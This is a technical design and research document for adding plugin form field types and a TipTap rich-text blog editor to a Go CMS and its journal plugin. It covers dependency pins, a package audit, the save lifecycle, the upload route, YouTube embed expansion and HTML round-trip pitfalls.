| Global field-type asset delivery | API / Backend (cabana asset route + boot endpoint) | Browser (SPA loader) | Assets are embedded and hashed at boot (D-13, 10.1 D-16) |
|
||||
| WYSIWYG editing, source toggle, dirty tracking | Browser (custom element) | — | Pure client concern; SPA build gains no editor dependency (D-16) |
|
||||
| Value binding element ↔ form state | Browser (SPA generic PluginField) | — | Replaces UnsupportedField fallback for plugin types |
|
||||
| Image upload transport | Browser (SPA posts with admin session) | API / Backend (cabana upload route → plugin Upload) | Element never holds credentials (10.1 rule) |
|
||||
| Image storage | API / Backend (Journal media store) | CDN / Static (nginx `/storage/app/uploads/public`) | Same key layout and public URL as the existing route |
|
||||
| Embed placeholder → iframe | Frontend Server (SSR, vue-journal-layer) | Browser (hydration) | D-05/D-17: iframes exist only after the frontend gate |
|
||||
|
||||
## Standard Stack
|
||||
|
||||
### Core (JS, sm-journal-plugin only; the admin SPA gains no editor dependency per D-16)
|
||||
|
||||
| Library | Version | Purpose | Why Standard |
|
||||
|---------|---------|---------|--------------|
|
||||
| `@tiptap/core` | 3.31.4 (published 2026-09-30, MIT) | Editor API, `Node`/`Extension`/`Mark` factories | Locked by D-16 [VERIFIED: npm registry: `npm view @tiptap/core version license`] |
|
||||
| `@tiptap/pm` | 3.31.4 (MIT) | ProseMirror re-export (model/view/state/tables) | Peer dependency of core; pins prosemirror-model ^1.25.11, prosemirror-view ^1.42.3 [VERIFIED: npm registry] |
|
||||
| `@tiptap/starter-kit` | 3.31.4 (MIT) | Paragraph, headings, bold/italic, lists, blockquote, link, history, trailing node | Configure with `trailingNode: false` and a reconfigured `link` (see Pitfalls) [VERIFIED: node_modules/@tiptap/starter-kit/src/starter-kit.ts:166-169] |
|
||||
| `@tiptap/extension-table` | 3.31.4 (MIT) | `TableKit` (table, row, header, cell) | Official table support; override `renderHTML` to stop the colgroup/min-width output [CITED: tiptap.dev/docs/editor/extensions/nodes/table] |
|
||||
| `@tiptap/extension-image` | 3.31.4 (MIT) | `img` node (block by default, `allowBase64: false`) | Base for the figure/caption node; base64 refused by default [VERIFIED: node_modules/@tiptap/extension-image/src/image.ts:87-90,127] |
|
||||
|
||||
### Supporting (build/test, devDependencies of the plugin JS build, versions pinned to the admin SPA's lockfile)
|
||||
|
||||
| Library | Version | Purpose | When to Use |
|
||||
|---------|---------|---------|-------------|
|
||||
| `vite` | 7.3.5 | Library-mode build of `assets/src` to one ES module `assets/dist/blogeditor.js` (+ `.css`) | Same pin as `admin/package.json`; avoids a second bundler in the repo set [VERIFIED: summercms.go/admin/package.json] |
|
||||
| `vitest` | 3.2.7 | Unit tests of the serializer, dirty tracking, embed node | Same pin as the admin SPA [VERIFIED: admin/package.json] |
|
||||
| `happy-dom` | 20.11.6 | DOM for vitest; also used in this session's probes (TipTap runs on it) | Same pin as the admin SPA [VERIFIED: admin/package.json; local probe ran Editor on happy-dom] |
|
||||
| `typescript` | 5.9.3 | Type-check the element source | Same pin as admin SPA and vue-journal-layer |
|
||||
|
||||
Go side: **no new dependency.** It uses `encoding/json` and `strings` in the Journal Decode/Load, and the existing `gocloud.dev/blob` in the media store.
|
||||
|
||||
### Alternatives Considered
|
||||
|
||||
| Instead of | Could Use | Tradeoff |
|
||||
|------------|-----------|----------|
|
||||
| Vite library mode | esbuild 0.28.2 directly | esbuild is smaller and faster, but it adds a second toolchain next to the admin's pinned Vite. It also has a `postinstall` (`node install.js`) binary fetch. Vite 7.3.5 already uses esbuild internally. |
|
||||
| Light-DOM element + tag-scoped CSS | Shadow DOM | Shadow DOM isolates styles, but ProseMirror selection inside shadow roots has historically had browser quirks. The 10.1 rule already restricts plugin CSS to `--c-*` variables, and those variables inherit either way. [ASSUMED] |
|
||||
| One bundle (~430 KiB min / ~135 KiB gzip) | Lazy chunk loaded on first element connect | Lazy loading needs a declared-but-not-auto-loaded asset, which the 10.1 asset mechanism does not model. One bundle is revalidated with `ETag`/304 per page. |
|
||||
|
||||
**Installation (in `../sm-journal-plugin`):**
|
||||
```bash
|
||||
npm init -y # or a hand-written package.json with "private": true, "type": "module"
|
||||
npm install --save-exact @tiptap/core@3.31.4 @tiptap/pm@3.31.4 @tiptap/starter-kit@3.31.4 @tiptap/extension-table@3.31.4 @tiptap/extension-image@3.31.4
|
||||
npm install --save-exact -D vite@7.3.5 vitest@3.2.7 happy-dom@20.11.6 typescript@5.9.3
|
||||
```
|
||||
|
||||
**Bundle size (measured):** StarterKit + TableKit + Image + core bundled with esbuild 0.28.2 `--minify --format=esm`: 440,767 bytes minified, 138,583 bytes gzip -9. [VERIFIED: local build in session scratchpad]
|
||||
|
||||
## Package Legitimacy Audit
|
||||
|
||||
| Package | Registry | Age | Downloads | Source Repo | Verdict | Disposition |
|
||||
|---------|----------|-----|-----------|-------------|---------|-------------|
|
||||
| @tiptap/core | npm | latest 3.31.4 published 2026-09-30 (9 days) | 21.5M/wk | github.com/ueberdosis/tiptap | [SUS] reason `too-new` (the release, not the package) | Flagged: planner adds checkpoint:human-verify before install |
|
||||
| @tiptap/pm | npm | 3.31.4, 9 days | 21.4M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
|
||||
| @tiptap/starter-kit | npm | 3.31.4, 9 days | 18.4M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
|
||||
| @tiptap/extension-table | npm | 3.31.4, 9 days | 6.0M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
|
||||
| @tiptap/extension-image | npm | 3.31.4, 9 days | 9.3M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
|
||||
| @tiptap/extension-link | npm | 3.31.4 (via starter-kit) | 19.5M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged (transitive) |
|
||||
| esbuild | npm | 0.28.2 | 299M/wk | github.com/evanw/esbuild | [OK]; `postinstall: node install.js` (platform binary fetch, known) | Not recommended directly; arrives via Vite |
|
||||
| vite, vitest, happy-dom, typescript | npm | pinned versions already in `summercms.go/admin/package-lock.json` | — | — | not re-run (already vetted in Phase 10) | Approved (same pins) |
|
||||
|
||||
**Packages removed due to [SLOP] verdict:** none.
|
||||
**Packages flagged as suspicious [SUS]:** every `@tiptap/*` package, for the single reason `too-new`. The 3.31.4 release is 9 days old; the packages themselves have tens of millions of weekly downloads and none has a `postinstall` script.
|
||||
- The planner adds a `checkpoint:human-verify` before the first `npm install`.
|
||||
- Alternatively, pin an earlier 3.x release that is more than 14 days old. The package names come from TipTap's official docs and npm (`[VERIFIED: npm registry]`) and the seam was run (`msd-tools query package-legitimacy check`).
|
||||
|
||||
## Architecture Patterns
|
||||
|
||||
### System Architecture Diagram
|
||||
|
||||
```
|
||||
BOOT (cabana.Activate)
|
||||
plugins ──HasFormFieldTypes──> fieldTypeRegistry ──┬─> alias collision check vs core types + other plugins (fail boot)
|
||||
│ ├─> read+hash Scripts/Styles from AdminFS (reuse compileClientAssets reader)
|
||||
│ └─> passed into decodeFields(...) for controller / relation-child forms
|
||||
│ (settings forms: refuse plugin types at boot in v1)
|
||||
▼
|
||||
fields.yaml `type: mlblogeditor` ──> compileFieldNode: core key check, then plugin keys ──> CheckOptions ──> FormField{type, element, translatable, typeOptions}
|
||||
|
||||
ADMIN SPA
|
||||
login ─> app shell ─> GET /field-types (or navigation meta) ─> loadScript(each) once, global CSS always enabled
|
||||
FormView ─> rendererFor(type) ─ unknown/plugin ─> PluginField ─(translatable)─> MLField(inner = PluginField)
|
||||
PluginField ── el.value = served string ──> <golem15-journal-blogeditor>
|
||||
<── 'summer-change' {value} ── (element keeps original string until a user edit)
|
||||
<── 'summer-upload' {id,file} ── ─> POST {api}/{v}/{p}/{c}/{id}/fields/{field}/upload (cookie + X-Requested-With)
|
||||
── 'summer-upload-result' {id,url|error} ──>
|
||||
|
||||
SAVE (PUT {api}/{v}/{p}/{c}/{id})
|
||||
body ─> lift plugin values (shape: plain any JSON | ML map of enabled locale -> string)
|
||||
─> tx: loadRecord(FormExtendQuery scope)
|
||||
─> per (field, locale): served := Load(record, locale); if update && submitted == served -> SKIP
|
||||
else Decode(...) -> CheckHTML -> 422 FieldError | stored value
|
||||
─> default-locale values onto body -> Fill ; non-default -> translations list
|
||||
─> ctx += written {field: {locale: value}} (accessor for hooks)
|
||||
─> FormBeforeUpdate (Journal: content_html := content only if content written)
|
||||
─> row Save ─> applyMLTranslations ─> FormAfterUpdate (Journal: WriteTranslated content_html per written non-default locale)
|
||||
─> projectFullRecord ─> hydrate: Load per locale ─> response
|
||||
|
||||
PUBLIC SITE (vue-journal-layer)
|
||||
API content_html ─> gateJournalHtml (3 regexes, refuses raw iframe) ─> expandEmbeds (allowlist + id regex) ─> v-html
|
||||
```
|
||||
|
||||
### Recommended Project Structure
|
||||
|
||||
```
|
||||
summercms.go/
|
||||
├── modules/pact/capabilities.go # + FormFieldType, FormFieldInput, FieldError, HasFormFieldTypes, FormFieldUpload*
|
||||
├── modules/cabana/field_type.go # NEW: registry build, collision/alias rules, option check, Decode/Load runner, list formatter
|
||||
├── modules/cabana/field_type_upload.go # NEW: POST .../{id}/fields/{field}/upload handler
|
||||
├── modules/cabana/form_schema.go # decodeFields/compileFieldNode take the registry; plugin keys after type resolution
|
||||
├── modules/cabana/crud.go # save(): plugin lift/decode/skip in tx; written-values context; scalarFormField registry-aware
|
||||
├── modules/cabana/field_ml.go # mlFieldType registry-aware; hydrate calls Load
|
||||
├── modules/cabana/admin_openapi.go # new route(s) + FormField generic fields
|
||||
├── admin/src/components/form/fields/PluginField.vue # NEW generic element host
|
||||
├── admin/src/app/fieldTypes.ts # NEW global loader (scripts once, CSS never disabled)
|
||||
└── docs/backend/field-types.md (or a section in partials-and-widgets.md) + site.yaml nav
|
||||
|
||||
sm-journal-plugin/
|
||||
├── assets/src/blogeditor/ # element.ts, schema/*.ts (rawHtml, figure, embed, span, globalAttrs, table), serializer.ts
|
||||
├── assets/dist/blogeditor.js|.css # committed, embedded via //go:embed in admin.go
|
||||
├── classes/blog_editor.go # NEW: FormFieldType values (blogeditor, mlblogeditor): Decode/Load/ListValue/Upload
|
||||
├── classes/media_store.go # NEW: storage function extracted from controllers/api/media.go (shared)
|
||||
├── controllers/posts.go, categories.go # hooks: no FormatHTML on admin path; content_html companion writes
|
||||
├── package.json, package-lock.json, vite.config.ts, scripts/check-dist.sh
|
||||
└── models/post/fields.yaml (mlblogeditor), models/category/fields.yaml (blogeditor)
|
||||
|
||||
vue-journal-layer/app/utils/embeds.ts # NEW: expandEmbeds(html) after gateJournalHtml; PostBody + CategoryHeader
|
||||
```
|
||||
|
||||
### Pattern 1: Per-boot field type registry threaded through compile
|
||||
|
||||
**What:** Collect `pact.HasFormFieldTypes` from every activated plugin in `Activate` and pass the registry into `compileRegistry` and from there into `decodeFields` and `compileFieldNode`. Validate aliases with an identifier rule, for example `^[a-z][a-z0-9]*$`, and reject:
|
||||
- duplicates;
|
||||
- any name in the core `formFieldTypes` set;
|
||||
- the reserved names `widget` and `partial`.
|
||||
|
||||
**Verified integration points (quoted from source):**
|
||||
- The closed type set [VERIFIED: modules/cabana/form_schema.go:24-30]:
|
||||
`"text": {}, "textarea": {}, "number": {}, "checkbox": {}, "switch": {}, "dropdown": {}, "relation": {}, "relation-manager": {}, "widget": {}, "partial": {}, "fileupload": {}, "datepicker": {}, "password": {}, "permissioneditor": {}, "markdown": {}, "mltext": {}, "mltextarea": {}, "mlmarkdown": {},`
|
||||
- The unknown-key check runs before the type is known [VERIFIED: modules/cabana/form_schema.go:466-468]: `if _, known := formFieldKeys[key]; !known { return FormField{}, fmt.Errorf("unknown field %s", key) }`. The type is resolved afterwards [form_schema.go:474-480]. Plugin keys therefore need either a two-pass key check or a resolve-type-first reorder.
|
||||
- `decodeFields(raw []byte)` has three callers: form_schema.go:194 (controller form), settings.go:74 (settings), relation_form.go:145 and :246 (relation child and pivot forms). [VERIFIED: grep + Read of form_schema.go]
|
||||
- Registry construction lives in `Activate`, http.go:74-121: `collectControllers` → `compileRegistry(items)` → `compileContributions(reg, plugins)`. `compileRegistry` receives only `items []controllerRef`, so it needs a new parameter. [VERIFIED: modules/cabana/http.go:75-119; registry.go:57]
|
||||
- The save classifier [VERIFIED: modules/cabana/crud.go:1224-1232]: `case "text", "textarea", "number", "checkbox", "switch", "dropdown", "datepicker", "markdown", "mltext", "mltextarea", "mlmarkdown": return true`. `BindWritableFields` (crud.go:204) and `mergedRules` (crud.go:1073) use it, so a plugin type bound to a column must count as writable.
|
||||
- ML classifier [VERIFIED: modules/cabana/field_ml.go:11-15, 47-53]: `mlTextFieldType = "mltext"`, `mlTextareaFieldType = "mltextarea"`, `mlMarkdownFieldType = "mlmarkdown"`.
|
||||
- List column types [VERIFIED: modules/cabana/list_schema.go:22-24]: `"text": {}, "datetime": {}, "switch": {}, "date": {}, "time": {},`. List rows are projected by `projectRow` (http.go:1067), which copies raw field values. Columns typed with a plugin alias call `ListValue`.
|
||||
- The widget tag rule to reuse for `Element` [VERIFIED: modules/cabana/extension.go:18, 48-50]: `^[a-z][a-z0-9]*(-[a-z0-9]+)+$`, and the prefix is the plugin ID with `.`/`_` → `-` plus `-` (`golem15.journal` → `golem15-journal-`).
|
||||
|
||||
**Recommendation:** Do not use a package-level mutable registry. Tests construct several services in one process; the existing code builds everything per `Activate`. Use a small `fieldTypes` value passed as a parameter, or attached to a compile-context struct.
|
||||
|
||||
### Pattern 2: Save lifecycle for plugin types (D-12 items 2-3, D-14)
|
||||
|
||||
**What:** Plugin values are handled in two places:
|
||||
1. **Before the transaction**, a shape check. It reuses the `liftMLValues` rules for a translatable type: an object of enabled locale → string with the default locale required. A plain type accepts any JSON value.
|
||||
2. **Inside the transaction after `loadRecord`**, a per-locale Load → compare → Decode step.
|
||||
|
||||
Decoded default-locale values go onto the body, so `lagoon.Fill` applies them, `Fillable` and `context:` are still enforced, and `FormBeforeUpdate` sees them on the model. Non-default values join the existing `translations` list for `applyMLTranslations`.
|
||||
|
||||
**Why inside the transaction:** the current order in `save()` is: ML lift at crud.go:600 (before the transaction), then `loadRecord` (crud.go:616), Fill, BeforeValidate, Validate, `formBeforeUpdate`, row Save, `applyMLTranslations` (crud.go:688), `formAfterUpdate`, `projectFullRecord` and `hydrateMLRecord` (crud.go:709). [VERIFIED: modules/cabana/crud.go:567-711] Load needs the record, for example to serve `content_html` for a markdown post (D-07), so the untouched comparison can only run after the load.
|
||||
|
||||
**Error mapping:** pact cannot import cabana, so it cannot return `*cabana.ValidationError`. Define `pact.FieldError{Messages []string}`. Cabana maps it to a 422 on that field. Any other error becomes the opaque 500 or lifecycle error, so internal error text never leaks. This matches the existing `ValidationError`/`ForbiddenError` handling in `lifecycleFailure` (crud.go:815-850).
|
||||
|
||||
**Written-values accessor (closes the companion-column gap):** after the decode step, put the written values on the context, the same pattern as `withVirtualFields`/`VirtualFieldsFromContext` (tx_context.go:38-54), for example `cabana.FieldWritesFromContext(ctx) map[string]map[string]string`, which maps field → locale → value for the values actually written. Form hooks read it:
|
||||
- **Journal `FormBeforeCreate`/`FormBeforeUpdate`:** if `content` was written in the default locale, set `ContentHTML = Content`; otherwise leave `ContentHTML` alone, which keeps it byte-identical.
|
||||
- **Journal `FormAfterCreate`/`FormAfterUpdate`:** for each written non-default locale of `content`, call `writer.WriteTranslated(ctx, tx, post, "content_html", locale, value)`. The hook runs after `applyMLTranslations` (crud.go:688 runs before `formAfterUpdate` at :698), so the host row has its id.
|
||||
|
||||
### Pattern 3: Two-layer untouched detection (D-03)
|
||||
|
||||
The **client** never re-serializes an untouched document:
|
||||
- the element stores the exact string it was given;
|
||||
- its `value` getter returns that string until a user-originated `docChanged` transaction or a source-textarea `input`;
|
||||
- the initial content goes in with `emitUpdate: false`.
|
||||
|
||||
The **server** skips any per-locale value equal to the value it served (`Load` output) on update, so neither column, nor the translation, is written. Both layers are needed:
|
||||
- The client layer alone fails for a markdown post. The element is served `content_html`, so an untouched save would send `content_html` and overwrite the markdown `content`. The server comparison stops that.
|
||||
- It also fails for imported posts whose `content_html` differs from `content`. In the local grzybyfunkcjonalne export, 17 of 100 pl translations differ, for example `"` versus `"`. [VERIFIED: analysis of /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/*.json in this session; note this export is from March 2026 and older than UAT data]
|
||||
- The server layer alone fails because TipTap normalizes on load, as Pitfall 1 shows, so an editor that re-serialized on load would never match.
|
||||
|
||||
**Generic semantics:** "a value equal to what the form was served is not written" holds for any plugin type, so cabana can apply it without the plugin opting in.
|
||||
|
||||
### Pattern 4: Preservation-first editor schema (D-03 "as far as possible", D-04)
|
||||
|
||||
Build these on top of `StarterKit.configure({ trailingNode: false, link: { HTMLAttributes: { target: null, rel: null, class: null }, openOnClick: false } })`:
|
||||
|
||||
1. **`rawHtml` atomic block node:**
|
||||
- `atom: true`, `group: 'block'`, low priority.
|
||||
- `parseHTML` rules for block tags the schema does not model: `footer`, `section`, `aside`, `header`, `nav`, `details`, `style`, and `div` (or only a `div` with attributes).
|
||||
- It stores the outer HTML.
|
||||
- The editor shows it as a non-editable card that opens in the source tab. A probe showed it keeps the footer and `<style>` (with `itemscope` → `itemscope=""` normalization). ProseMirror's parser ignores `style` by default, but a matching rule overrides that. [VERIFIED: local probe; prosemirror-model dist ignoreTags = `head, noscript, object, script, style, title`]
|
||||
2. **Global attribute map:** an `Extension` with `addGlobalAttributes` over the modelled node types. One `htmlAttrs` attribute captures every attribute the node does not model and renders it back. In the probe it kept `class`/`data-x`/`itemprop`; attribute order can change. [VERIFIED: local probe; CITED: tiptap.dev/docs/editor/extensions/custom-extensions/extend-existing (`types: '*' | 'nodes' | 'marks'`)]
|
||||
3. **`span` mark** with the same attribute map, for inline `style`/`class` spans such as the footer's `<span style="color: #138c74;">`.
|
||||
4. **`figure` node** containing an image plus an optional `figcaption` (D-18 caption). Without it, the probe showed `<figure>` unwrapped and `figcaption` becoming a `<p>`.
|
||||
5. **`embed` atomic node**, rule `figure[data-embed]` with higher priority than `figure`. It renders exactly `<figure data-embed="youtube" data-id="ID"></figure>`; the probe round-tripped this exactly.
|
||||
6. **Table:** `TableKit` with a `renderHTML` override that emits no `colgroup` or `min-width` style.
|
||||
7. **Custom serializer for `getValue()`:** do not use `editor.getHTML()` for the stored value. Walk the top-level nodes:
|
||||
- emit `rawHtml` nodes verbatim;
|
||||
- for other nodes, use `DOMSerializer.fromSchema(schema).serializeNode(node)`.
|
||||
|
||||
An optional refinement: at load, parse each top-level DOM child on its own and remember (nodes, outerHTML). On serialize, emit the remembered outerHTML for any run of top-level nodes that are still `Node.eq` to the originals. Unedited paragraphs then stay as the browser serialized them, which reduces diff churn on long imported posts. This is a design proposal [ASSUMED]; `Node.eq` exists in prosemirror-model [VERIFIED: node_modules/prosemirror-model/dist/index.js:217].
|
||||
|
||||
**The source tab** is a `<textarea>` bound to the exact string. Switching source → WYSIWYG re-parses; that counts as an edit only if the text changed.
|
||||
|
||||
### Pattern 5: Element contract (D-13), extending the 10.1 widget contract
|
||||
|
||||
- **Tag:** the plugin prefix rule (`golem15-journal-blogeditor`). It is defined by the plugin script, loaded globally after login.
|
||||
- **Inputs:**
|
||||
- The `value` property (string for the Blog Editor; any JSON for other types).
|
||||
- Attributes `field-name`, `locale`, `record-id` (empty on create) and `invalid`, `disabled`/`readonly`.
|
||||
- Attribute `options` with the JSON of the type's YAML options.
|
||||
- Setting `value` to the string the element last emitted must be a no-op, so there is no cursor reset on echo.
|
||||
- **Outputs (all bubbling `CustomEvent`s):**
|
||||
- `summer-change` with `detail.value`, emitted only on user edits.
|
||||
- `summer-upload` with `detail { id, file }`. The SPA posts the file to the field upload route with the admin session and answers on the element with `summer-upload-result` `{ id, url } | { id, error }`.
|
||||
- **Never handed to the element:** a token, a cookie, a function or a Vue instance (WidgetField.vue header rule). [VERIFIED: admin/src/components/form/fields/WidgetField.vue header comment]
|
||||
- **Event-name precedent:** `WIDGET_EVENT = 'summer-action'` and `WIDGET_RESULT_EVENT = 'summer-result'`. [VERIFIED: admin/src/components/form/formContext.ts:86,93]
|
||||
- **SPA changes:**
|
||||
- `rendererFor` falls back to `PluginField` for types carrying `element`.
|
||||
- `isRegistered` returns true for plugin types.
|
||||
- `valueless` stays `[RELATION_MANAGER, 'widget', 'partial', 'fileupload']` [VERIFIED: registry.ts:87].
|
||||
- `isMLFieldType(type)` (`ML_FIELD_TYPES = new Set(['mltext', 'mltextarea', 'mlmarkdown'])` [VERIFIED: mlLocale.ts:2]) must also accept plugin fields flagged `translatable`. Its callers in `formState.ts` (`editablePayload`, `initialValues`, `adopt`, `recordDisplayName`) pass a type string, so either switch them to a field-based check or register translatable plugin types at schema load.
|
||||
- **CSS:** `loadStyles`/`activateStyles` disable stylesheets owned by other controllers [VERIFIED: admin/src/app/pluginAssets.ts]. Field-type CSS needs an owner that is never disabled. Scope its selectors under the element tag and use only `--c-*` variables (cabana README:134).
|
||||
|
||||
### Pattern 6: Journal integration
|
||||
|
||||
- **Register both types on the Plugin**, not on a controller, because field types are global (D-13). Embed `assets/dist/blogeditor.js` and `.css` through the existing `//go:embed` list in `admin.go`. The assets are served at `<prefix>/assets/golem15/journal/dist/blogeditor.js?v=<hash>` (key = `vendor/plugin/<path after assets/>`, extension.go:281).
|
||||
- **Decode (both types):** check that the value is a string, run `classes.CheckHTML(value)` and return the string unchanged. CheckHTML errors become `pact.FieldError`. The gate patterns [VERIFIED: sm-journal-plugin/classes/format_html.go:25-27]:
|
||||
- ``(?i)<(?:script|iframe|object|embed)\b``
|
||||
- ``(?i)\son[a-z]+\s*=``
|
||||
- ``(?i)(?:javascript|vbscript|data):``
|
||||
- **Load (post `content`):** if the stored `content` looks like HTML (first non-space byte is `<`), serve `content`. Otherwise it is a markdown post, so serve `content_html` for that locale. For a non-default locale, read it through the app's `cabana.TranslationWriter` (`TranslatedExact(..., "content_html", locale)`). This "looks like HTML" rule is a heuristic [ASSUMED]; see the Assumptions Log.
|
||||
- **Hooks:** `preparePostWrite` (posts.go:213-219: `html, err := classes.FormatHTML(post.Content)` … `post.ContentHTML = html`) stops calling `FormatHTML` on the admin path and uses the written-values accessor instead (Pattern 2). The API path (`controllers/api/posts_helpers.go`) keeps `FormatHTML` (D-09). [VERIFIED: sm-journal-plugin/controllers/posts.go:213,219]
|
||||
- **Fields:**
|
||||
- `models/post/fields.yaml:19` changes `type: mlmarkdown` → `type: mlblogeditor`.
|
||||
- `models/category/fields.yaml:28` changes `type: textarea` → `type: blogeditor`.
|
||||
|
||||
[VERIFIED: grep -n of both files]
|
||||
- **Category content is not translatable:**
|
||||
- Go model: `Content *string` … `// HTML body (D-21): stored and served as is, not translatable` [VERIFIED: models/category.go:12].
|
||||
- `func (Category) Translatable() []string { return []string{"name", "description", "slug"} }` [VERIFIED: models/category.go:26].
|
||||
- The frozen PHP `Category::$translatable` is `'name', 'description', ['slug', 'index' => true]`, and the PHP category form has no content field at all [VERIFIED: /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/models/Category.php:36-40, models/category/fields.yaml].
|
||||
- So D-19 resolves to **`blogeditor`**.
|
||||
- `Content` is `*string`: Decode/Load must handle a nil pointer, and `prepareCategoryWrite` still maps blank to NULL.
|
||||
- **Post translatable attributes:** `return []string{"title", "content", "content_html", "excerpt", "metadata", "slug"}` [VERIFIED: models/post.go:43-45]. `content_html` is translatable, so the non-default companion write is required.
|
||||
|
||||
### Pattern 7: Embed expansion in vue-journal-layer (D-17)
|
||||
|
||||
Order matters: `gateJournalHtml(html)` runs first and refuses any raw iframe in stored HTML. Then `expandEmbeds(gated.html)` replaces only exact placeholders, `<figure data-embed="youtube" data-id="([A-Za-z0-9_-]{11})"></figure>` (optionally with a `figcaption`), with:
|
||||
|
||||
```html
|
||||
<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/ID" ...></iframe></figure>
|
||||
```
|
||||
|
||||
- The transform is string-based and SSR-safe; there is no DOM on the server.
|
||||
- It applies in both v-html sinks: `PostBody.vue:11` and `CategoryHeader.vue:17` [VERIFIED: grep of vue-journal-layer/app].
|
||||
- Unknown providers or malformed ids stay inert.
|
||||
- The site's nginx config sets no CSP, so the iframe needs no header change [VERIFIED: grep of sm-grzybyfunkcjonalne-app/deploy/nginx shows only HSTS and nosniff `add_header`].
|
||||
- Privacy-enhanced mode is the `youtube-nocookie.com` embed domain [CITED: support.google.com/youtube/answer/171780].
|
||||
|
||||
### Pattern 8: Plugin JS build (D-16)
|
||||
|
||||
Mirror `scripts/check-admin-dist.sh`, which rebuilds into a temporary directory and fails on `diff -r` against the committed `dist`. The plugin gets:
|
||||
- `package.json` with exact pins and a `package-lock.json`;
|
||||
- `vite.config.ts` in library mode (`build.lib` with `formats: ['es']`, `fileName: 'blogeditor'`, a stable output name with no content hash, because cabana adds `?v=` itself);
|
||||
- `scripts/check-dist.sh`.
|
||||
|
||||
The Go build never runs npm, so a host app needs no Node (D-16). Do not let the bundle depend on `eval`/`new Function`: the admin CSP is `"frame-ancestors 'none'; base-uri 'none'; object-src 'none'; script-src 'self'"` [VERIFIED: modules/boardwalk/boardwalk.go:32]. There is no `style-src`, so TipTap's injected style tag (`injectCSS`, default true) is allowed. It is still cleaner to set `injectCSS: false` and ship the CSS in `blogeditor.css`.
|
||||
|
||||
### Pattern 9: Field upload route (resolves D-18 reachability; see Open Question 1)
|
||||
|
||||
The route is `POST {admin}/api/v1/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload`, multipart with one `file` part, where `{id}` 0 means the create form, the same convention as the fileupload routes. Cabana owns:
|
||||
- the backend guard (cookie or Bearer);
|
||||
- `requireAjax`;
|
||||
- the controller's `RequiredPermissions`;
|
||||
- the record scope through `FormExtendQuery` when `id != 0`;
|
||||
- the body cap `http.body_limits.upload_bytes` (`s.uploadBytes`);
|
||||
- "the field exists in the form, its type is a plugin type with an `Upload` func, and its context allows the operation".
|
||||
|
||||
It then calls `Upload(ctx, pact.FormFieldUpload{Record, Field, Filename, Body})`. That returns `{URL string}` or a `FieldError`, and cabana answers 201 `{data:{url}}`.
|
||||
|
||||
**Pattern collision check:** the shape `/{v}/{p}/{c}/{id}/fields/{field}/upload` is distinct from the existing 7-segment POST patterns:
|
||||
- `.../{id}/files/{field}/reorder`
|
||||
- `.../{id}/relations/{name}/link`
|
||||
|
||||
They differ by the literal segment, so `ServeMux` accepts them all. The 6-segment shape `/{v}/{p}/{c}/fields/{field}/upload` would collide with `POST /{vendor}/{plugin}/{controller}/{id}/actions/{action}`: neither is more specific, the same problem `nestedGet` documents. [VERIFIED: route table read in modules/cabana/http.go:241-345]
|
||||
|
||||
A new route must be:
|
||||
- added to `admin_openapi.go`;
|
||||
- added to `phase09Routes`, because `TestPhase09PermissionMatrix` and `TestPhase09ContractInventory` fail on divergence;
|
||||
- regenerated through `scripts/check-admin-openapi.sh`.
|
||||
|
||||
### Anti-Patterns to Avoid
|
||||
|
||||
- **Running Decode/CheckHTML in Form hooks only.** Hooks see the host model, never the non-default locale values (`translations` stay inside cabana), so D-10 "every locale" cannot be met there.
|
||||
- **Using `editor.getHTML()` as the stored value.** It normalizes entities, attributes, tables and links even for unchanged content (Pitfall 1).
|
||||
- **Calling `editor.commands.setContent(html)` with the defaults when syncing an external value.** `emitUpdate` defaults to `true` in v3 (it was `false` in v2), so the echo fires `update` and marks the editor dirty. [CITED: tiptap.dev/docs/editor/api/commands/content/set-content] [VERIFIED: local probe: one update per default `setContent`, none with `{ emitUpdate: false }`]
|
||||
- **A package-level plugin type registry** in cabana (tests build several services per process).
|
||||
- **Handing the element a token or calling `/_journal/api/v1/media/upload` from it** (unreachable, and it breaks the 10.1 credential rule).
|
||||
- **Relaxing `CheckHTML` to allow iframes** (rejected; D-05 and Deferred).
|
||||
|
||||
## Don't Hand-Roll
|
||||
|
||||
| Problem | Don't Build | Use Instead | Why |
|
||||
|---------|-------------|-------------|-----|
|
||||
| Rich-text editing, selection, undo, paste handling | contenteditable + execCommand | TipTap 3.31.4 (ProseMirror) | Locked D-16; contenteditable has notoriously inconsistent cross-browser behavior [ASSUMED] |
|
||||
| Table editing (cell selection, merge, keyboard nav) | Custom table UI | `TableKit` (prosemirror-tables) | Edge cases in cell selection and colspan handling |
|
||||
| Locale storage for the ML variant | Per-plugin translation writes | cabana `liftMLValues`/`applyMLTranslations`/`hydrateMLRecord` + published `TranslationWriter` | D-14; the existing path already validates locales and the default key |
|
||||
| Asset hashing/serving/ETag | A second asset pipeline | `compileClientAssets` reader + `pluginAsset` route | 10.1 machinery; refactor the reader for plugin-level assets |
|
||||
| Upload auth/CSRF/permissions/scoping | A plugin route that reads the cookie | cabana-owned field upload route (Pattern 9) | The framework owns these checks for actions and file routes already |
|
||||
| HTML sanitization | A sanitizer | `classes.CheckHTML` refuse-only gate | Locked D-10 (no sanitizer dependency) |
|
||||
| The dist drift gate | Ad-hoc checks | Copy of `scripts/check-admin-dist.sh` | Proven pattern (temp build + `diff -r`) |
|
||||
|
||||
**Key insight:** losslessness here does not come from a perfect schema, because no ProseMirror schema round-trips arbitrary HTML. It comes from not serializing unless the user edited, plus a server that refuses to write what it served.
|
||||
|
||||
## Common Pitfalls
|
||||
|
||||
### Pitfall 1: TipTap's default schema silently rewrites imported HTML
|
||||
**What goes wrong:** Opening and re-serializing loses footers, styles, spans, microdata, figures and table structure.
|
||||
**Evidence (local probe, @tiptap/* 3.31.4 on happy-dom 20.11.6):**
|
||||
- The input `<p>Tekst.</p>\n\n<footer class="author-footer" itemscope itemtype="https://schema.org/Person">…<style>…</style>` came out as `<p>Tekst.</p><img src="/a.png" alt="A"><p>Marcin</p>`.
|
||||
- `"` became `"`.
|
||||
